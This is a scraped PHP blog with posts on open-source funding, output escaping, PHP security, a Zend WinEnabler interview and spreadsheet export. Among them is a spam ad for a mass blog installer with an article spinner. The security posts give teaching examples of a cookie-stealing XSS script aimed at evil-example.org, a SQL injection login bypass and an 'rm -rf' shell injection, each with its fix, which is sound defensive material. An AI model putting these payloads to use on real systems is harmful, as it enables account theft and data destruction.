PHP Freaks
Just another WordPress weblog-
Open!= $Free Part 2
Posted on October 20th, 2009 No commentsThe Developer’s Needs
A number of today’s open-source developers started out as users searching for software to help them with a specific task or problem; they either found no existing projects, projects that don’t work or a project that is poorly managed and maintained. After getting frustrated at the lack of responses to bug reports and feature requests, they begin on the road to open-source development
by either starting a new project, joining an existing development team or forking the initial project if they don’t agree with its direction. Some developers believe that programming is not
something that can be easily taught and relate programming ability to either an art or a science. Others believe that developing software is a gift, and that this gift only has a value when it is shared with others. This value is increased when the software is widely used and only when the users can see the creative effort that has been put into the project rather than just the results
output to a screen. Developers crave the satisfaction of writing that perfect function or streamlining that troublesome piece of code. Few could easily describe the joy and achievement
felt after they complete a new feature or find a solution to a bug that has been the source of trouble for hours or even days. In fact, some developers define their machismo or intellectual abilities by the speed and efficiency of the code they create (whether they are willing to admit it or not). One of the hardest issues for any open-source developer to overcome is the discipline
of maintaining the code once the initial fun of cre- ating it has evaporated. Since it’s a challenge they have already mastered, they have the urge to move onto the next fun thing. To make an open-source project successful, however, bugs must be fixed, code improved and maintained and the user base actively supported. Without this, the project is very likely to disappear without
leaving a trace. There have been many studies that show opensource programmers often have loyalty to a project that goes beyond purely financial compensation. If you ask open-source programmers why they write free software, many are at a loss for words. Some of the leading
figures in the open-source arena have their own way of describing why developers do it: Richard Stallman says that “People will program because its fun” and Eric Raymond calls it “scratching an itch.” However, one must wonder whether developers still think it’s “fun” and they still want to scratch that itch once emails from users who demand that the software be fixed or a new
feature added “now”, but don’t want to pay anything for it start rolling in.
Developers can also get frustrated when working on something that they consider to be fun. When incomplete or inaccurate bug reports are submitted that give little or no information as to how the bug can be recreated or as to the environment the user is using, or when the developer asks the user for more information to help track the bug only to get little or no response, things start going south pretty quickly. How questions are asked in forums and on support mailing lists is also a source of frustration for developers. Messages to mailing lists or posts in the support forums with titles like “Please Help” or “Desperately need help NOW” almost beg to be ignored, at least as far as the developers are concerned. This, in turn, frustrates the user as they get
little or no help.
Your Project Needs You
Many users of open-source software are unsure of how they can help support a project and many don’t understand that contributing and supporting a project is not purely about financial rewards. So, what can users do to make the project become more productive that can also make the project more successful and benefit the community as a whole? Financial: There are a number of reasons why a user of open-source software should feel a moral obligation to contribute to a projects progress or support. The developers are contributing to the users’ business or interests, and it is both fair and in the long-term interest of the users to provide them with support, whether it’s financial, in the donation of code improvements, or just in helping out with bug reports or answering support questions on mailing lists. However, this obligation should not be turned into a requirement, as this would destroy the basis for the moral obligation and would quickly cause resentment within the community. The project should receive contributions because it deserves it based on the usefulness of the software, development of new features and user assistance, and not because they demand it. Support: Support questions can distract the developers from the job of actually developing code, especially when they are not asked in the most efficient way and require a lot of work to come to a positive resolution. As a user gets more familiar with a particular project, he will have the ability to answer many of the questions that as by first
timers. If possible, users should always try and answer support questions on the mailing list or
forums. This not only helps support the project, but also earns them “good karma” points from others users in the community. Users can also learn to ask support questions in a better way. For example, a set of guidelines can be put into place to help users write “good” questions the first time around:
• Use meaningful and specific subject headers.
• Make it easy to reply: don’t ask the developers to send the reply to a different email
account, as this increases the time needed to answer a question and reduces the likelihood
that you will get a response.
• Send questions to mailing lists using plain text, as many developers do not accept HTML emails.
• Be precise and provide as much information about your problem as you can
• Don’t use words like “Urgent” or “Response Needed ASAP,” even if your problem is urgent, as this can be considered rude.
• Be courteous. It never hurts to say “please” or “thank you.”
• Follow up with a solution if one is found to help others that may have the same problem
and will stumble upon your conversation thread on the mailing lists.
Bug Reports: The main aim of a bug report is to enable a developer to reproduce the problem so that the bug can be tracked down and squashed in the smallest amount of time possible. Bug reports that are vague “it doesn’t work” laments are unlikely to be looked into by a developer in a timely manner.
If, as a user, you have the ability to write code, then try and find fixes for bugs that are open and
have not been assigned to a developer. If you find a fix, you can then pass it on to the project developers
for inclusion into the software. This is a great way to learn how the software works and will also
earn you lots of goodwill from others in the com- munity and from the developers themselves. Here are some tips on how to report bugs effectively.
• Describe the symptoms of your bug carefully and clearly.
• Describe the environment in which it occurs.Provide as much detail on the operating system
and related system information as possible. • Describe any research you did to try and fix
the bug before you posted the report.
• Don’t provide information if you are unsureif it’s correct; many developers spend hours
looking for a bug in a particular version of PHP only to find the user reported the wrong version when the bug report was submitted.
Documentation: No-one likes to write documentation; least of all the developers themselves. It is well known that many open-source projects tend to have a major problem with providing any kind of decent documentation. The most common response to this complaint is “if you need documentation then write it!” Without any “primer” to start with, however, the learning curve is sometimes too great for new users. If you have the ability to write documentation, don’t hesitate to offer your services—after all, some documentation is better than no documentation, and your efforts may prompt others to help create a more complete document base starting from your work.
Your Users Need You
It isn’t all a one way street—there are a number of things the projects can do to help reduce the frustration of users and encourage users to provide both financial and non financial contributions.
Aims & Goals: Projects need to make sure that their aims and goals are clearly set out from the
start, so that users know exactly what their direction is going to be. It is important not to deviate
from these goals without explaining to the users the reason for the deviation.
Progress Reports: Frequent progress reports are needed so that people can see how the project is
being active developed. These reports need to be accurate and honest and should not promise deadlines or release dates that are not realistic. In the eyes of many users it is better to not provide a release date at all than to promise a release and then miss it. Outstanding tasks that need to be
completed before the next release will be available also need to be clearly visible to the users, so that they can gauge for themselves how much work is left to be done.
Releases: Many users get frustrated when the time span between releases is large. I think that it is a generally good idea for open-source projects to plan for frequent releases with fewer new features than to aim for a large amount of new features that require years to develop. Releases should also be made in a controlled fashion, and not rushed out based purely on user demand. This ensures that only stable releases are supplied to users, which, in turn, will promote an influx of contributions from the community. Merchandise: Something many users are happy to
purchase is official merchandise related to a project. Some good contenders in this area are versions of the software on an official CD or a boxed set, tshirts and printed manuals. This is a great way for a project to find the financial support it needs to continue development.
Conclusion
The penetration of open-source software into all aspects of our day-to-day lives can only be of benefit us all; however, today’s society is still encouraging the accumulation of wealth and, while this is the case, the progress of open-source will be held back unless we take the fact that developers need to pay their rent, too, into consideration, while at the same time recognizing
the essential freedom that open-source represents. Organizations such as the Free Software
Foundation are helping promote the benefits of opensource to companies and governments. It’s now the turn of the users of open-source software to spread the word.
The Developer’s Needs
A number of today’s open-source developers started out as users searching for software to help them with a specific task or problem; they either found no existing projects, projects that don’t work or a project that is
-
Test page
Posted on July 9th, 2009 No commentsFeatures
mishka By building our supersonic installation process integral in WordPress Mass Installer, we endeavor to fill that need for your desired speed and if speed kills, well, it kills your competition. This is exactly why our product’s monthly charge, pays for itself in just a few hours each month over the conventional open sourced WordPress installation. Your time is valuable and always, your time is money.
WordPress Mass Installer
-Install 1000 WordPress Blogs per hours
-Manage multiple blogs from one place
-Extremely Fast WordPress Installer
-Create multiple blogs on 1 website or several websites
-100 Blogs on multiple web servers in 60 seconds
-Manage each Blog’s Settings before installation
-Administer your WordPress themes and plugins
-Activate and desactivate WordPress themes and plugins-Easily set default Blog and Ping settings
-Create and manage WordPress Categories for each blog
-Easy Blog management system
-Most used Wordpress options already set
-WordPress Mass Installer
-Create numerous blogs each unique
-User friendly interface
-Manage blog on any server anywhere
-Add all your existing blog
-Manage your ping URL lists
-Add and manage blog from all major blog hosting provider like wordpress.com, etc ..
-Easy build and simple web publishing solution with no HTML knowledge or web design skills required.Blogroll Management
- Add a new link to the blogroll
- Post a new link (text + url) to one or multiple blogs in one click
- Easily inter-links one or many blogs (create your own linking strategy)
- Manage all the links contained on your wordpress blog(s)Articles Posting and Management
-Add 1 to 10,000 articles to your account using your control panel
-Manage (write, edit, delete) 1 to 10,000 articles
-Build in WYSIWYG editor
-Turn 1 article to 1000’s using build-in synonimizer
-Build-in text synonimizer,rewriter and processing of unique articles
-Ability to set rewrite percentage of article(s) like 10, 20, 35 … %
-Post one article to 1 or 1000 wordpress Blogs
-Post 100’s articles to 1 or 1000 wordpress Blogs (each article will be unique)
-Schedule articles posting to wordpress blogs
-Ramdom articles posting to blogsTUTORIAL
-Step by Step video tutorial
If you truly want to make an impression in the blogger community and reward yourself with a fat bank account, you must seek the way of creativity and prosperity. The way of WordPress Mass Installer.
-
ESCAPE OUTPUT Part 2
Posted on March 28th, 2009 No commentsEscaping HTML
There are three main functions in PHP for escaping HTML: htmlentities(), htmlspecialchars(), and strip_tags(). In the case of strip_tags(), no special characters are actually escaped, but, instead, all HTML tags are removed. Using this function with no extra parameters is probably
one of the safest ways to completely remove all HTML tags from output. I have seen other user-defined functions that attempt to do something similar by removing all but a set of allowed tags, but these are not without their flaws and can potentially introduce some nasty bugs that are too lenient when outputting data. Likewise, strip_tags() offers the option to allow certain tags
with the format strip_tags($str, ‘<p> <a> <b>’);, but this is also too lenient: attributes are not stripped from allowed tags, allowing onclick events, etc. to persist in output. Take the following code snippet, for
example:
$str = ‘<p><b>Bold text</b>
<a href=”#” onclick=”alert(\’XSS\’);”>Link</a>
<img src=”example.png”/></p>’;
echo strip_tags($str, ‘<p> <a> <b>’);
This code will output the following, complete with the cross-site scripting (XSS) in the onclick attribute:
<p><b>Bold text</b>
<a href=”#” onclick=”alert(‘XSS’);”>Link</a></p>
Rather than completely stripping the tags fromoutput, a better alternative may be to escape all the tags,allowing them to render in the output. This is an easytask with htmlspecialchars() and htmlentities(). Both of these functions serve the same purpose: to convert special characters into their equivalent HTML entities. The main difference is that htmlentities() is more exhaustive, choosing to convert all characters with HTML character entity equivalents to their respective
HTML entities. Thus, for its exhaustive nature, I will recommend htmlentites() as the better unction to use to escape HTML output. For the above $str example, htmlentities() returns the following:
<p><b>Bold text</b>
<a href="#"
onclick="alert(‘XSS’);">Link&l
t;/a>
<img src="example.png"/
></p>
In this case, however, allowing the <b> tags may be preferable, and so we can allow them by first escaping the output and then converting the selected HTML entities back to HTML with str_replace():
$str = htmlentities($str);
$str = str_replace(‘<b>’, ‘<b>’, $str);
$str = str_replace(‘</b>’, ‘</b>’, $str);
This will ensure that we send only those special characters that we desire to have interpreted to the client. While this is a form of unescaping, which I mentioned earlier is not a desirable process, it is nevertheless a good alternative to using strip_tags() to allow certain tags, as it will ensure that any tags that contain undesirable attributes are not interpreted by the client.
In addition, there is no guesswork involved here; I am not using a regular expression that I could potentially get wrong and, thus, introduce a hole in my application. I will always know what a <b> tag looks like after the angle brackets have been converted to their HTML entity equivalents, so it is easy for me to find and convert the tags back to HTML.
Escaping SQL
Similarly, PHP offers excellent built-in functions for escaping SQL statements according to the database engine used. For PostgreSQL, there is pg_escape_string() for MySQL, mysql_real_escape_string() and for SQLite, sqlite_escape_string(). If the other native database
functions provided in PHP do not offer a similar function, then PHP offers addslashes(), though I would advise that the database’s native escape string function is always a better alternative than addslashes(). Using the SQL example from earlier, we can escape it using ysql_real_escape_string(), as shown in Listing 1, where we first filter it using the filter() function Igave in the August 2005 issue. Thus, if a user enters the value “example’ OR 1 = 1; –” as a username, the SQL that is executed will be:
SELECT * FROM users
WHERE username = ‘example\’ OR 1 = 1; –‘
AND password = ‘password’
The single quotation mark is escaped and no results are returned because this user doesn’t exist—the user can’t gain access to the application. Some database functions, such as the unified ODBC
functions, mysqli, and PDO (in PHP 5.1), use the concept of prepared statements to prepare and properly escape an SQL statement. Listing 2 illustrates a prepared statements example using PDO. The SQL statement that is created will appear much like the one listed above, but PDO offers added functionality through the optional bindParam() parameters to define the type and length of data. Prepared statements also exist in PEAR::DB and other database abstraction classes, but PDO offers much promise since it is built into the language and, thus, much faster with less overhead. So, if possible, use prepared statements (with PDO, if possible). If they aren’t available, use the database’s built-in escaping function. If that isn’t available, then
fall back on addslashes() as a last resort.
A Security-Conscious Mindset
The key to secure programming is having a securityconscious mindset. Filtering input and escaping output is just part of that mindset, but it takes more thought than simply copying code from elsewhere to introduce security to an application. It takes careful planning and diligent testing. By now, I hope that you are well on your way to being a security-conscious programmer. I have introduced some tools and concepts to help you get started, and it is likely that you have thought of code you’ve already written and how to improve it using these principles. So, have fun, good luck, and be sure to keep security at the forefront of a project. Security is not a design
feature—it is an essential tool.
-
ESCAPE OUTPUT Part 1
Posted on March 28th, 2009 No commentsWhy Escape?
So, you run a Web-based forum, and you don’t have a problem with users entering the occasional
HTML tag. Why should you escape your output? Here’s why: Suppose this forum allows users to
enter HTML tags. That’s fair enough—you may want to allow them to enter bold-faced or italicized text—but then it outputs everything in its raw form—everything. So, all HTML tags get interpreted by the web browser. What if a user enters the following?
<script>
location.href=’http://evil-example.org/stealcookies.
php?cookies=’ + document.cookie;
</script>
Any subsequent user who is logged into the forum and visits this page will now be redirected to
http://evil-example.org/steal-cookies.php and any cookies set by the forum can be stolen. Let’s look at another example. Many sites contain login forms, which usually consist of two fields—a
username and a password. When a user enters a username and password, the application may enter the values into an SQL statement, as in the following:
$sql = “SELECT * FROM users
WHERE username = ‘{$_POST[‘username’]}’
AND password = ‘{$_POST[‘password’]}’”;
This statement will work just fine as long as a user enters a proper username and password, but suppose a user enters something like “example’ OR 1 = 1; –” as the username? The value of 1 will always equal 1, and since the user properly closed the single quote in the statement, the OR clause will be treated as part of the SQL, and everything after the — will be ignored (at least
in most database engines) as a comment. Thus, the user is able to log in without an account.
The first step to ensure situations such as these do not occur is to filter all input to ensure that no
unexpected characters appear in the data.
After filtering, be sure to save the raw data. Do not escape it before storing. If escaped before storing, then it might be necessary to unescape it at some point in the future. For
example, what if the data is escaped for HTML output and stored to a database table only to be retrieved later to output in XML or to PDF, etc.? Then, it must be unescaped to transport to those formats—and possibly escaped again to accommodate the new output medium. This process is bound to introduce more bugs to your code and could likely reduce the quality of the data. Thus, to make the most of your data, it is best to save it raw (after filtering) and escape only when uputting. Escaping output is not a terribly difficult process. At the least, it may require the addition of a few extra lines of code, or it may require a little more attention to detail. The important thing to keep in mind is the format outputted and the special characters that need to be escaped for that format. For the purposes of this discussion, I will cover escaping for HTML and SQL, since PHP has excellent built-in functions for handling output
to these formats.
-
Open!= $Free Part 2
Posted on March 28th, 2009 No commentsThe Developer’s Needs
A number of today’s open-source developers started out as users searching for software to help them with a specific task or problem; they either found no existing projects, projects that don’t work or a project that is poorly managed and maintained. After getting frustrated at the lack of responses to bug reports and feature requests, they begin on the road to open-source development
by either starting a new project, joining an existing development team or forking the initial project if they don’t agree with its direction. Some developers believe that programming is not
something that can be easily taught and relate programming ability to either an art or a science. Others believe that developing software is a gift, and that this gift only has a value when it is shared with others. This value is increased when the software is widely used and only when the users can see the creative effort that has been put into the project rather than just the results
output to a screen. Developers crave the satisfaction of writing that perfect function or streamlining that troublesome piece of code. Few could easily describe the joy and achievement
felt after they complete a new feature or find a solution to a bug that has been the source of trouble for hours or even days. In fact, some developers define their machismo or intellectual abilities by the speed and efficiency of the code they create (whether they are willing to admit it or not). One of the hardest issues for any open-source developer to overcome is the discipline
of maintaining the code once the initial fun of cre- ating it has evaporated. Since it’s a challenge they have already mastered, they have the urge to move onto the next fun thing. To make an open-source project successful, however, bugs must be fixed, code improved and maintained and the user base actively supported. Without this, the project is very likely to disappear without
leaving a trace. There have been many studies that show opensource programmers often have loyalty to a project that goes beyond purely financial compensation. If you ask open-source programmers why they write free software, many are at a loss for words. Some of the leading
figures in the open-source arena have their own way of describing why developers do it: Richard Stallman says that “People will program because its fun” and Eric Raymond calls it “scratching an itch.” However, one must wonder whether developers still think it’s “fun” and they still want to scratch that itch once emails from users who demand that the software be fixed or a new
feature added “now”, but don’t want to pay anything for it start rolling in.
Developers can also get frustrated when working on something that they consider to be fun. When incomplete or inaccurate bug reports are submitted that give little or no information as to how the bug can be recreated or as to the environment the user is using, or when the developer asks the user for more information to help track the bug only to get little or no response, things start going south pretty quickly. How questions are asked in forums and on support mailing lists is also a source of frustration for developers. Messages to mailing lists or posts in the support forums with titles like “Please Help” or “Desperately need help NOW” almost beg to be ignored, at least as far as the developers are concerned. This, in turn, frustrates the user as they get
little or no help.
Your Project Needs You
Many users of open-source software are unsure of how they can help support a project and many don’t understand that contributing and supporting a project is not purely about financial rewards. So, what can users do to make the project become more productive that can also make the project more successful and benefit the community as a whole? Financial: There are a number of reasons why a user of open-source software should feel a moral obligation to contribute to a projects progress or support. The developers are contributing to the users’ business or interests, and it is both fair and in the long-term interest of the users to provide them with support, whether it’s financial, in the donation of code improvements, or just in helping out with bug reports or answering support questions on mailing lists. However, this obligation should not be turned into a requirement, as this would destroy the basis for the moral obligation and would quickly cause resentment within the community. The project should receive contributions because it deserves it based on the usefulness of the software, development of new features and user assistance, and not because they demand it. Support: Support questions can distract the developers from the job of actually developing code, especially when they are not asked in the most efficient way and require a lot of work to come to a positive resolution. As a user gets more familiar with a particular project, he will have the ability to answer many of the questions that as by first
timers. If possible, users should always try and answer support questions on the mailing list or
forums. This not only helps support the project, but also earns them “good karma” points from others users in the community. Users can also learn to ask support questions in a better way. For example, a set of guidelines can be put into place to help users write “good” questions the first time around:
• Use meaningful and specific subject headers.
• Make it easy to reply: don’t ask the developers to send the reply to a different email
account, as this increases the time needed to answer a question and reduces the likelihood
that you will get a response.
• Send questions to mailing lists using plain text, as many developers do not accept HTML emails.
• Be precise and provide as much information about your problem as you can
• Don’t use words like “Urgent” or “Response Needed ASAP,” even if your problem is urgent, as this can be considered rude.
• Be courteous. It never hurts to say “please” or “thank you.”
• Follow up with a solution if one is found to help others that may have the same problem
and will stumble upon your conversation thread on the mailing lists.
Bug Reports: The main aim of a bug report is to enable a developer to reproduce the problem so that the bug can be tracked down and squashed in the smallest amount of time possible. Bug reports that are vague “it doesn’t work” laments are unlikely to be looked into by a developer in a timely manner.
If, as a user, you have the ability to write code, then try and find fixes for bugs that are open and
have not been assigned to a developer. If you find a fix, you can then pass it on to the project developers
for inclusion into the software. This is a great way to learn how the software works and will also
earn you lots of goodwill from others in the com- munity and from the developers themselves. Here are some tips on how to report bugs effectively.
• Describe the symptoms of your bug carefully and clearly.
• Describe the environment in which it occurs.Provide as much detail on the operating system
and related system information as possible. • Describe any research you did to try and fix
the bug before you posted the report.
• Don’t provide information if you are unsureif it’s correct; many developers spend hours
looking for a bug in a particular version of PHP only to find the user reported the wrong version when the bug report was submitted.
Documentation: No-one likes to write documentation; least of all the developers themselves. It is well known that many open-source projects tend to have a major problem with providing any kind of decent documentation. The most common response to this complaint is “if you need documentation then write it!” Without any “primer” to start with, however, the learning curve is sometimes too great for new users. If you have the ability to write documentation, don’t hesitate to offer your services—after all, some documentation is better than no documentation, and your efforts may prompt others to help create a more complete document base starting from your work.
Your Users Need You
It isn’t all a one way street—there are a number of things the projects can do to help reduce the frustration of users and encourage users to provide both financial and non financial contributions.
Aims & Goals: Projects need to make sure that their aims and goals are clearly set out from the
start, so that users know exactly what their direction is going to be. It is important not to deviate
from these goals without explaining to the users the reason for the deviation.
Progress Reports: Frequent progress reports are needed so that people can see how the project is
being active developed. These reports need to be accurate and honest and should not promise deadlines or release dates that are not realistic. In the eyes of many users it is better to not provide a release date at all than to promise a release and then miss it. Outstanding tasks that need to be
completed before the next release will be available also need to be clearly visible to the users, so that they can gauge for themselves how much work is left to be done.
Releases: Many users get frustrated when the time span between releases is large. I think that it is a generally good idea for open-source projects to plan for frequent releases with fewer new features than to aim for a large amount of new features that require years to develop. Releases should also be made in a controlled fashion, and not rushed out based purely on user demand. This ensures that only stable releases are supplied to users, which, in turn, will promote an influx of contributions from the community. Merchandise: Something many users are happy to
purchase is official merchandise related to a project. Some good contenders in this area are versions of the software on an official CD or a boxed set, tshirts and printed manuals. This is a great way for a project to find the financial support it needs to continue development.
Conclusion
The penetration of open-source software into all aspects of our day-to-day lives can only be of benefit us all; however, today’s society is still encouraging the accumulation of wealth and, while this is the case, the progress of open-source will be held back unless we take the fact that developers need to pay their rent, too, into consideration, while at the same time recognizing
the essential freedom that open-source represents. Organizations such as the Free Software
Foundation are helping promote the benefits of opensource to companies and governments. It’s now the turn of the users of open-source software to spread the word.
-
PHP Security Primer Part 2
Posted on March 28th, 2009 1 commentIt is important to note that the use of the magic quotes settings is often discouraged, and it definitely makes outputting the values more difficult (as you need
to call stripslashes() on all affected variables). In some situations, though, it can provide a level of fool proofing that is not normally achievable. It boils down to a choice between whether it is easier to escape (no magic quotes, just addslashes()) when needed, or unescape (magic quotes, stripslashes()) when needed.
Outputtting data
At this point, let’s assume that the data you received has been validated and decontaminated. But it isn’t that easy. Escaping input for safe SQL insertion is not the same as encoding input for safe output to the browser.
Let’s consider the following HTML snippet:
<html><body>
<textarea>
<?php echo $_POST[‘content’]; ?>
</textarea>
</body></html>
At first sight, it may seem like there is nothing wrong with this snippet. But imagine if somebody gives $POST[‘content’] a value like
<script language=”Javescript”>
document.location.href=http://www.example.com
</script>
If this content is simply inserted into the textarea as is, the page will automatically redirect to the given site. Most often in this situation the output ($_POST[‘con-
tent’]) should be encoded in such a way that the HTML is not evaluated. By using htmlspecialchars() or htmlentities() on the content, the HTML in the content
will appear in the textbox as HTML markup. So the corrected snippet looks something like this:
<html><body>
<textarea>
<?php echo htmlspecialchars($_POST[‘content’]); ?>
</textarea>
</body></html>
Don’t forget to check for magic quotes (using get_magic_quotes_gpc()), as you may need to run stripslashes() on the content as well. It is a good idea to use tmlspecialchars() on any output that you don’t want to be evaluated as HTML.
This may also include value parameters in form elements, for example:
<input type=”text” name=”email” value”<?php echo htmlspecialchars($email); ?> “>
Safe URLs
Often you want to produce dynamic hyperlinks on a page, and usually these links are composed of a path with GET parameters. Care must be taken when using arbitrary string data in these links. Suppose you create a link to another page like so:
<?php
echo “<ahref=\”otherscript.php?search={$_GET[‘search’]}\”>Search</a>”;
?>
If $_GET[‘search’] contains any binary data or characters such as &, +, ?, etc, we may run into problems where the link is not formed properly when the browser
follows it, etc. The urlencode() function encodes each unacceptable character in the GET request by using the appropriate hex character code prefixed by a
percent sign. So our script becomes:
<?php
echo “a href=\”otherscript.php?search=”. urlencode($_GET[‘search’]).”\”>Search</a>”;
?>
Again, be careful to note whether magic quotes are on, and take the appropriate action. The output of our script could be as follows (for a $_GET[‘search’] of “hello= world”):
<a href=”otherscript.php?search=hello%3D+world”>Search</a>
There is no need to worry about urldecodeding these values on the other side, by the way, as PHP will take care of that for us.
Shell commands
PHP’s ability to execute shell commands makes it that much more powerful, and dangerous. For example:
<?php
echo “Directory index of<b>” .
htmlspecialchars($_GET[‘dir’]) .”</b>\n”;
system(”ls {$_GET[‘dir’]}”);
?>
In this case it is of extreme importance that $_GET[‘dir’] be free of dangerous input. If, for instance, $_GET‘dir’ = “/ ; rm –rf *”, then we get the
following command:
ls / ; rm –rf *
This not only gives us the directory listing of the root, but everything in our current directory will be deleted. This can be prevented by using the escapeshellarg()
function. This special function binds the text from $dir into one argument by placing single quotes around it and escaping all of the single quotes.
<?php
echo “Directory index of <b>” .
htmlspecialchars($_GET[‘dir’]) . “</b>\n”;
$_GET[‘dir’]=escapeshellarg($_GET[‘dir’])
system(“ls {$_GET[‘dir’]}”);
?>
Instead of injecting shell commands, the above script now gives us the following command:
ls ‘/ ; rm – rf*’
Which will spit out an error, rather than wiping out a whole directory.
.htaccess files
We’ll now turn our attention to a little file that can save you a lot of headaches if you use it properly: .htaccess. This file serves many purposes—all directory based—
including HTTP authentication, access restriction, Apache error handling, and PHP configuration.
How can this help you with security? Access restriction
can help prevent unforeseen injection attacks on your configuration files. Some of the PHP configuration options that can be set on a per-directory basis can help protect you further against other types of attacks by automatically prepending authentication files to
your scripts or changing your session configurations.
A number of webhosting companies have some sort of control panel where you can easily configure .htaccess.
If your web host does not have a control panel like this, you should consult the Apache website at http://www.apache.org for more information on what you can do with .htaccess files, and how to use them.
Conslusion:
Hopefully this article has helped you become more aware of some of the common security challenges that as developers we have to deal with every day, and has
armed you with some practical techniques for dealing with them.
-
Zend Does it Again Part 2
Posted on March 28th, 2009 No commentsFrom a technical perspective, there isn’t much to say about the WinEnabler—it “just works”. The concept behind it is ingenious and yet simple: the WinEnabler
Server Plugin interfaces directly with IIS on one end and with a specially-compiled version of PHP (with thread safety enabled) on the other. The plugin creates a pool of persistent PHP processes that are never destroyed, so that the performance hit that, under normal CGI conditions,
comes from having to load up and initialize the PHP interpreter only takes place once when the server is started. At the same time, each PHP interpreter is instantiated as a separate process, so that, in the event of a crash, the overall web server’s stability is not affected. Naturally, PHP remains its own good old self—you can add any extensions, accelerators and cache addons
to it just as you would under normal circumstances.
From a business and strategic point of view, however, the introduction of the WinEnabler has far-reaching implications and, therefore, the php|a team unleashed its investigative hounds all the way to our nearest phone to ask Rinat Gersch, Online Marketing Manager at Zend, a few pointed questions on the ins and outs of
this fascinating new product.
Q: Can you explain the business motivation behind
this new product?
WinEnabler was specifically designed in response to demand from enterprises, software vendors and solution providers. These wanted to expand their offerings from Linux to the Windows arena, thereby expanding their potential client pool. Additionally, a viable solution was requested to enable PHP to run on Windows with stability and performance that is up to par with PHP on
Linux/Unix.
WinEnabler supports PHP’s promise of true multi-platform
compatibility by positioning PHP as a viable enterprise-
grade technology for every environment: open
source or proprietary.
Q: What licensing model have you adopted for it?
A simple and straightforward one: one license per machine, regardless of the number of CPUs installed.
Q: What is your target market? Are you after the SME industry, or the enterprise sector?
The target is the PHP on Windows market, whether for small, medium or large enterprises. WinEnabler licensing starts at $195—well within everyone’s budget! WinEnabler is ideal for those who want to enter this market, as well as those already providing PHP solutions
on Windows, but desperately require a PHP-on- Windows solution they can rely on and market to their customers with assurance.
Q: Do you really think that PHP under Windows is a viable platform? Why should developers prefer it to .Net?
Absolutely! There was never a doubt that PHP on Windows has commercial value. The problem was that until Zend’s WinEnabler, there simply was no solution that brought PHP on Windows to be on par with Linux and UNIX in terms of stability and performance. Incidentally, Zend ran a survey during the WinEnabler’s beta cycle, asking users what they thought were the advantages of PHP over other scripting languages. Their answers included:
• ease of use
• quick to learn
• flexibility
• rapid development of code
• continuous development and evolution of
the language
• wide and rich features
• Open source preference
• Linux-compatibility
• lower hosting costs
• cross platform support
• C-like syntax
• DB support and many more.
Q: What would be the motivation, from a strategic perspective, for a decision-maker to choose Windows + PHP to an all-native Windows implementation?
Choosing PHP as a strategic direction helps the customer to preserve the investment in his application.
PHP is an open and portable platform that is available for a large selection of web servers, hardware platforms and operating systems. It provides the decision maker with the ability to choose the Hardware/Web Server/Operating System combination that provides the best Cost/Performance value for his/her application without having to worry about expensive software porting costs when the infrastructure matures up.
Q: How big do you estimate the Windows market for PHP is? Do you think that the Enabler will increase it?
According to Netcraft, 7% of the PHP sites run on Windows. This figure has doubled over the last year,
making PHP the most popular non-Microsoft scripting language used on Windows. We believe that the
WinEnabler will support the natural growth of this trend. As PHP gains in popularity, more Windows users
will recognize its ease, simplicity and robustness. WinEnabler will boost this conversion level because it
allows PHP to run on Windows as reliably as on Linux.
Q: Do you plan to use the Enabler in conjunction with .Net in the future?
PHP in general—and especially PHP 5—provides the user with full capabilities to integrate with Microsoft
.Net and access .Net classes and objects in a very convenient and easy way. At the architecture level, PHP does not use the .Net CLR, and the WinEnabler is no different in this case. We’ve evaluated the possibility of implementing a version of PHP on top of the .Net CLR, but that proved to be impractical because of the dynamic nature of PHP, which is incompatible with the architecture of CLR.
Q: Do you expect the introduction of the Enabler to improve the overall PHP market? In which way?
The introduction of WinEnabler supports and enhances PHP’s promise of multi-platform compatibility.
By improving PHP’s usability on Windows, we expect to see more Windows-based enterprises and SMEs
choosing PHP for their web applications. WinEnabler also supports solutions providers and ISVs
by providing them with the business opportunity to expand their market. The existence of high-quality PHP
applications for the Windows market will be a second driving force in the adoption of PHP in this environment.
-
PHP and Spreadsheets Part 2
Posted on March 28th, 2009 No commentsThe two headers tell the user’s browser that it will be sending a file called file.sxc and the browser will prompt the user to open or save the file. Then a normal HTML table is created from the data and sent to the browser. The spreadsheet program (OpenOffice.org’c Calc in this case) will interpret the HTML table into a normal spreadsheet, along with any formatting you’ve included. If you’re operating in a Microsoft environment, you may want to modify the Content-disposition header to send a file name of file.xls so that it can be recognized by Excel (although Excel will open the file correctly even if it’s called file.sxc, you will have to tell it to do so). The benefits of the HTML table method are that it’s still simple to implement and it gives you more
control over the layout of the data in the user’s spreadsheet program. However, you’re still missing out on some of the advanced features that most spreadsheet programs implement. If you want to get into the advanced features of the spreadsheets, you’re left to discover how to use COM or figure out the file formats for everything. Luckily, though, other ingenious programmers
have already figured this out for you and make their code available to you online. Isn’t open source software great? One spreadsheet writer class that was recently recommended to readers of the php-general mailing list is the PEAR package Spreadsheet_Excel_Writer
(SEW), which can be found at :
http://pear.php.net/package/Spreadsheet_Excel_Writer
While learning the API of this class and implementing it may be more difficult at first than the other methods, it offers you interfaces to a lot more spreadsheet features than any
other approach we have seen so far. Listing 3 shows a simple example from the SEW documentation of how to create a spreadsheet. The class also provides method to
implement spreadsheet features such as text decoration and alignment, formulas, multiple worksheets, page properties, notes,images, zoom and many other things. You can send the file directly to the user, as the earlier examples to, or save it to the server.
OpenOffice.org doesn’t have any trouble opening Excel files, either, so you’re not locked into using Microsoft Excel as your spreadsheet program. Depending on your needs and how fancy of a spreadsheet you need to deliver to your users, either the CSV method, HTML table method or the Excel_Writer class can hopefully solve your problems. If you have a better solution than
the ones presented here or any other PHP tips to solve your troubles and get them published here. One other quick tip that’s been mentioned before but is related to the above has to deal with Internet
1 <?php
2 require_once ‘Spreadsheet/Excel/Writer.php’;
3
4 // Creating a workbook
5 $workbook = new Spreadsheet_Excel_Writer();
6
7 // sending HTTP headers
8 $workbook->send(‘test.xls’);
9
10 // Creating a worksheet
11 $worksheet =& $workbook->addWorksheet(‘My first worksheet’);
12
13 // The actual data
14 $worksheet->write(0, 0, ‘Name’);
15 $worksheet->write(0, 1, ‘Age’);
16 $worksheet->write(1, 0, ‘John Smith’);
17 $worksheet->write(1, 1, 30);
18 $worksheet->write(2, 0, ‘Johann Schmidt’);
19 $worksheet->write(2, 1, 31);
20 $worksheet->write(3, 0, ‘Juan Herrera’);
21 $worksheet->write(3, 1, 32);
22
23 // Let’s send the file
24 $workbook->close();
25 ?>
Listing 3
1 <?php
2
3 $data = array(array(1,2,3),array(‘one’,’two’,’three’));
4
5 header(‘Content-type: application/octet-stream’);
